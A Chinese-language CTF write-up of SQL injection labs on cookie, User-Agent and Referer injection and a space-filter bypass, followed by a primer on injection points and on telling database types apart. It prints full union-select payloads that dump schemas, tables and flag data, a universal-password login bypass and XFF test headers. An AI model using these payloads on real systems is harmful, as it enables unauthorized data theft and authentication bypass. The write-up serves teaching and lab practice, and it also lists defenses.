Cookie 注入的原理也和其他注入一样,只不过是将提交的参数以 Cookie 方式提交,而一般的注入是使用 GET 或者 POST 方式提交,GET 方式提交就是直接在网址后面加上需要注入的语句,POST 方式则是通过表单,GET 和 POST 的不同之处就在于可以通过 IE 地址栏处看到我们提交的参数,而 Cookie 注入却不能。
一般使用cookie注入都是伪造cookie进行注入到数据库中而达到获取未经授权数据文件的目的。
进入环境就得到这个页面
F12+网络查看cookie,发现想要继续进行就要利用bp抓包进行注入
接着开始注入,方法就是和盲注差不多,都是要进行判断爆破
使用'and 1 = 1'进行测试,判断是否存在sql注入
判断出存在sql注入且注入方式为整数型注入
使用order by 判断字段数量,判断出字段数量为2列
知道字段数量为2后,可以查看数据库位置,使用联合注入union select 1,2查看未发现数据
判断数据可能不存在数据库中,在id=1中加入负号查看数据
修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22
修改2为database(),查看数据库名,发现数据库版本为sqli
查看全部数据库名
-1 union select 1,group_concat(schema_name)from information_schema.schemata
在全部数据库名中发现sqli,最后在sqli数据库中发现news和xavygzkmdt两个表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
先查看xavygzkmdt表中的全部字段名,发现一个数据名为sepimfwspx
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='xavygzkmdt'
查看数据sepimfwspx中的内容,发现此题flag
-1 union select 1,group_concat(sepimfwspx) from sqli.xavygzkmdt
ctfhub{6045c2d822a696ba66fa65ed}
User-Agent 首部包含了一个特征字符串,用来让网络协议的对端来识别发起请求的用户代理软件的应用类型、操作系统、软件开发商以及版本号。一些网站会把用户的 UA 首部信息写入数据库,用来收集和统计用户信息,如果操作不当就有可能会导致 UA 注入。
进入环境得到
要进行UA注入,可以用bp抓包进行注入,也可以使用浏览器插件hackbar进行注入
先用1 and 1=1来进行判断是否存在sql注入并判断出注入类型
存在sql注入且还是整数型注入
使用order by 判断字段数量
从order by 1开始注入到 order by 3没有回显,证明字段数量为2列
知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据
判断数据可能不存在数据库中,将1改为-1查看数据
修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22
修改2为database(),查看数据库名,发现数据库版本为sqli
查看全部数据库名
-1 union select 1,group_concat(schema_name)from information_schema.schemata
在全部数据库名中发现sqli,最后在sqli数据库中发现ycdkqyhwly和news两个表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
先查看ycdkqyhwly表中的全部字段名,发现一个数据名为vfkuxlgmjs
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='ycdkqyhwly'
查看数据vfkuxlgmjs中的内容,发现此题flag
-1 union select 1,group_concat(vfkuxlgmjs) from sqli.ycdkqyhwly
ctfhub{0f980060810ed3b9edea3261}
UA注入是一种特定类型的SQL注入攻击,它利用了用户代理(User-Agent,简称UA)字符串中包含的恶意代码来攻击应用程序。UA字符串是浏览器或其他HTTP客户端发送给服务器的一部分信息,其中包括有关客户端操作系统、浏览器版本、设备类型等信息。
UA注入攻击的原理与常规的SQL注入攻击类似,都是通过注入恶意的SQL语句来攻击应用程序的数据库。但是UA注入攻击的特点是,它不是利用表单字段或URL参数等用户可以直接操作的输入来注入SQL,而是利用UA字符串作为输入。攻击者可以通过修改UA字符串,将恶意的SQL代码插入到应用程序的数据库查询中。
对于从UA字符串中提取的数据,始终进行充分的验证和过滤。
确保服务器端的输入验证和过滤逻辑能够正确处理所有的HTTP请求头字段。
使用参数化查询或预编译语句,而不是将用户提供的数据直接拼接到SQL查询中。
最小化数据库用户的权限,确保数据库用户只能执行必要的操作。
SQL 注入点不止会出现在GET 参数或POST 参数中。其中UA注入则是一种特定的SQL注入形式,它利用了应用程序中使用的UA来进行攻击。
联合注入的过程
1、判断注入点
2、判断是闭合形式
3、判断查询列数
4、判断显示位
5、获取所有数据库名
6、获取数据库所有表名
7、获取字段名
8、获取字段中的数据
Refer注入是一种利用HTTP头字段中的Referer(引荐者)信息来进行攻击的注入技术。Referer字段通常用于告诉服务器请求的来源,即用户是通过哪个页面或链接访问当前页面的。
Refer注入攻击的原理是通过篡改Referer字段中的值,将恶意的SQL代码插入到应用程序的数据库查询中,从而执行非授权的操作或获取未经授权的数据。攻击者可以通过修改发送给服务器的HTTP请求的Referer字段,将恶意的SQL代码作为Referer值注入进去。
对于从Referer字段中提取的数据,始终进行充分的验证和过滤。
确保服务器端的输入验证和过滤逻辑能够正确处理所有的HTTP请求头字段。
使用参数化查询或预编译语句,而不是将用户提供的数据直接拼接到SQL查询中。
最小化数据库用户的权限,确保数据库用户只能执行必要的操作。
在应用程序中实施访问控制和身份验证,限制用户对敏感数据和操作的访问。
同样的cookie注入,UA注入,Refer注入都可以用浏览器插件hackbar进行注入,也可以用bp抓包更改信息进行注入,伪造cookie,UA,Refer发送请求而达到注入的目的。
进入环境, F12启用hackbar插件
先用1 and 1=1,判断是否存在sql注入及注入类型
存在sql注入并且注入类型为整数型注入
使用order by 判断字段数量
1 order by 1
知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据
1 union select 1,2
判断数据可能不存在数据库中,将1改为-1查看数据
-1 union select 1,2
修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22
修改2为database(),查看数据库名,发现数据库版本为sqli
查看全部数据库名
-1 union select 1,group_concat(schema_name)from information_schema.schemata
在全部数据库名中发现sqli,最后在sqli数据库中发现ajlpvakrna和news两个表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
先查看ajlpvakrna表中的全部字段名,发现一个数据名为hjxducrloy
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='ajlpvakrna'
查看数据hjxducrloy中的内容,发现此题flag
-1 union select 1,group_concat(hjxducrloy) from sqli.ajlpvakrna
进入环境先输入1
输入1 and 1=1,会报错
进行过滤空格
1/**/and/**/1/**/=/**/1
存在sql注入且注入类型为整数型注入
查询列数
1/**/order/**/by/**/1
到3的时候没有回显
知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据
1/**/union/**/select/**/1,2
判断数据可能不存在数据库中,将1改为-1查看数据
-1/**/union/**/select/**/1,2
修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22
-1/**/union/**/select/**/1,version()
修改2为database(),查看数据库名,发现数据库版本为sqli
-1/**/union/**/select/**/1,database()
查看全部数据库名
-1/**/union/**/select/**/1,group_concat(schema_name)from/**/information_schema.schemata
在全部数据库名中发现sqli,最后在sqli数据库中发现htdxjvkudj和news两个表名
-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'
先查看htdxjvkudj表中的全部字段名,发现一个数据名为vklvjwstxw
-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='htdxjvkudj'
查看数据vklvjwstxw中的内容,发现此题flag
-1/**/union/**/select/**/1,group_concat(vklvjwstxw)/**/from/**/sqli.htdxjvkudj
ctfhub{89cb473f4f1e9c294f48fb4a}
参考:【超详细版】学习SQL注入看这篇就够了(原理及思路绕过)_sql注入教程_网络安全-李彦暗的博客-CSDN博客
当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则
3.SQL注入的两个关键点:
1,用户能控制输入的内容; 2,web应用把用户输入的内容带入到数据库执行;
SQL注入基础危害:
)盗取网站的敏感信息;
)绕过网站后台认证 后台登录语句: SELECT * FROM admin WHERE Username=‘user’ and Password=‘pass’ 万能密码:‘or ’1‘ = ’1‘ # ;
)借助SQL注入漏洞提权获取系统权限;
)读取文件信息。
MYSQL数据库注入-常用函数:
(1)user() 返回当前使用数据库的用户,也就是网站配置文件中连接数据库的账号 (2)version() 返回当前数据库的版本 (3)database() 返回当前使用的数据库,只有在use命令选择一个数据库之后,才能查到 (4)group_concat() 把数据库中的某列数据或某几列数据合并为一个字符串 (5)@@datadir 数据库路径 (6)@@version_compile_os 操作系统版本
?id=1 and 1=1
1、判断有无闭合 and 1=1 and 1=2 //结果和第一个一样说明需要闭合,反之无闭合 有闭合则需要用到 --+闭合
2、猜解字段 order by 10 //采用二分法 3、判断数据回显位置 -1 union select 1,2,3,4,5.... //参数等号后面加-表示不显示当前数据 4、获取当前数据库名、用户、版本 union select version(),database(),user(),4...... 4、获取全部数据库名
union select 1,2,(select group\_concat(schema\_name)from information\_schema.schemata)
5、获取表名
union select 1,2,(select group\_concat(table\_name)from information\_schema.tables where table\_schema='库名'
6、获取字段名
union select 1,2,(select group\_concat(column\_name)from information\_schema.columns where table\_name='表名'
7、获取数据 union select 1,2,(select group_concat(字段1,字段2)from 库名.表名
函数名称: 函数功能:
查 库: select schema\_name from information\_schema.schema
查 表: select table\_name from information\_schema.tables where table\_schema=库名
查 列: select column\_name from information\_schema.columns where table\_name=表名
查数据: select 列名 from 库名.表名
1、界面能够回显数据库查询到的数据(必要条件);
2、界面回显内容至少能够显示数据库中的某列数据(必要条件);
3、部分能够直接提供数据库报错内容的回显;
在GET参数、POST参数、Cookie、Referer、XFF、UA等地方尝试插入代码、符号或语句,尝试是否存在数据库参数读取行为,以及能否对其参数产生影响,如产生影响则说明存在注入点。
sql注入点类型
get注入
在get传参时写入参数,将SQl语句闭合,后面加写入自己的SQL语句。post注入
通过post传参,原理与get一样,重要的是判断我们所输入的信息是否与数据库产生交互,其次判断SQL语句是如何闭合的。有些网站通过查询cookie判断用户是否登录,需要与数据库进行交互,我们可以修改cookie的值,查找我们所需要的东西。或者通过报错注入是网页返回报错信息。
Referer注入
Referer正确写法应该是Referrer,因为http规定时写错只能将错就错,有些网站会记录ip和访问路径,例如百度就是通过Referer来统计网站流量,我们将访问路径进行SQL注入,同样也可以得到想要的信息。XFF注入
在用户登录注册模块在 HTTP 头信息添加 X-Forwarded-for: 9.9.9.9' ,用户在注册的时候,如果存在安全隐 患,会出现错误页面或者报错。从而导致注册或者登录用户失败。
burpsuite 抓包,提交输入检测语句:X-Forwarded-for: 127.0.0.1'and 1=1#
X-Forwarded-for: 127.0.0.1'and 1=2#两次提交返回不一样,存在 SQL 注入漏洞
UA注入
输入点在User-Agent
判断网站使用的是哪个数据库,常见数据库如:
MySQL、MSSQL(即SQLserver)、Oracle、Access、PostgreSQL、db2等等
在实际测试过程中尝试进行SQL注入第一步就是判断数据库类型,因为我们不容易知道对方使用的是什么数据库。
目前来说,企业使用MSSQL即SQLserver的数量最多,MySQL其次,Oracle再次。除此之外的几个常见数据库如 Access、PostgreSQL、db2则要少的多的多。
常用SQL注入判断数据库方法
● 使用数据库特有的函数来判断
● 使用数据库专属符号来判断,如注释符号、多语句查询符等等
● 报错信息判断
● 数据库特性判断
如果可以对主机进行端口扫描,可以根据是否开启对应端口,来大概判断数据库类型。
Oracle
默认端口号:1521
SQL Server
默认端口号:1433
MySQL
默认端口号:3306
PostgreSql
默认端口号:5432
asp:SQL Server,Access
.net :SQL Server
php:Mysql,PostgreSql
java:Oracle,Mysql
根据注释符判断“#”是MySQL中的注释符,返回错误说明该注入点可能不是MySQL,另外也支持’-- ',和/* */注释(注意mysql使用-- 时需要后面添加空格)
“null”和“%00”是Access支持的注释。
“--”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。